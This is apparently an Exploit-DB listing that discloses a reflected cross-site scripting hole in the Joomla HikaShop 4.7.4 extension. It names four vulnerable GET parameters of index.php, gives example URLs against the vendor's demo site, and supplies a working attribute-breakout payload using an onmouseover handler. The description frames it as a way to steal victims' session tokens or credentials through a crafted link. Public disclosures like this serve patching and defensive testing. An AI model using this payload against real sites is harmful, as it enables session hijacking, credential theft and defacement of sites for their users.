Joomla HikaShop 4.7.4 - Reflected XSS

EDB-ID:
51629

CVE:
N/A

EDB Verified: ×

Author:
CRACKER

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2023-07-28

Vulnerable App:

```
# Exploit Title: Joomla HikaShop 4.7.4 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 24/07/2023
# Vendor: Hikari Software Team
# Vendor Homepage: https://www.hikashop.com/
# Software Link: https://demo.hikashop.com/index.php/en/
# Joomla Extension Link: https://extensions.joomla.org/extension/e-
commerce/shopping-cart/hikashop/
# Version: 4.7.4
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site



## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09,
indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob



## Description

The attacker can send to victim a link containing a malicious URL in an
email or instant message
can perform a wide variety of actions, such as stealing the victim's
session token or login credentials



Path: /index.php

GET parameter 'from_option' is vulnerable to RXSS

https://website/index.php?
option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&
[XSS]&from_ctrl=product&from_task=listing&from_itemid=103


Path: /index.php

GET parameter 'from_ctrl' is vulnerable to RXSS

https://demo.hikashop.com/index.php?
option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&
[XSS]&from_task=listing&from_itemid=103


Path: /index.php

GET parameter 'from_task' is vulnerable to RXSS

https://demo.hikashop.com/index.php?
option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&
[XSS]&from_itemid=103


Path: /index.php

GET parameter 'from_itemid' is vulnerable to RXSS

https://demo.hikashop.com/index.php?
option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&
[XSS]
```

```
[XSS Payload]:
uhqum"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;t



[-] Done
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions